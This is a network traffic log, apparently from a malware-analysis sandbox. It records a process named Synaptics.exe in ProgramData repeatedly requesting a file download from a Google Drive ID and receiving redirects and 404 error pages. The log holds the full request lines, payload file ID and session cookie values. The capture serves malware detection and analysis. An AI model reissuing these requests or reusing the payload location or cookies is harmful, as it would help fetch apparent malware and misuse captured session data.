2025-01-02 19:28:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4sWMj_Qi33GabfNNiKlHUE4csotosMknJ2XMyC6VrUh5PZhl2JbHuNus7E1rjYJFyj Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:30 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-7xFTDMGvKKzJHXsepjGYwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 4d 74 66 4b 71 33 68 66 4a 78 75 48 66 6a 71 5a 74 4f 7a 69 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="DMtfKq3hfJxuHfjqZtOziw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49898	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:30 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZnIaIWoog-Txa1HyALQjMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49899	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:30 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC59zcUFDPenVKdy_Z5UdpDAvr9eBnUZIWs3xgRP70q5LNgqP4TK6gCdfN-x14UtZjTfVo4idpk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:30 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FvRiySrgYhZjBOJ21BsdKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:30 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:30 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 6e 6a 45 66 6f 57 55 4c 44 41 73 79 39 33 37 54 6c 78 6c 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="bnjEfoWULDAsy937TlxlHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:30 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49904	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-TZF0dNdAMlWll4hLobHm5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49912	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NtCwxTpOpdlCRq8iG-v18Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49919	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:32 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4fhM-Srr-9FVzrm6VAT4XQyKK86kSavpWLw3Q3IebpgK3whGw2ScctPk_YAfhZSAGt3rWG3Pg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:32 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-661eyzBlia9NOhbvAlpvbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:32 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:32 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 67 78 67 53 37 65 51 39 76 6f 31 6e 4a 6a 4d 45 53 59 37 69 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="agxgS7eQ9vo1nJjMESY7iA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:32 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49918	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:32 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-CsFeIcc9nkRRa2yuJbOvVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49923	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:33 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4IQ3VKNzBfm3nB8x5ST5y4pm1siG5i-EFR_H5axMYxn4LU4ah725lkQwGQuZLEVPXwQMWsxCo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:33 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-OPYT4jipsAseEX-SeOUdyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:33 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:33 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 45 75 42 71 44 66 65 47 42 45 69 4c 42 4b 64 52 4b 45 41 65 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="sEuBqDfeGBEiLBKdRKEAeA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:33 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

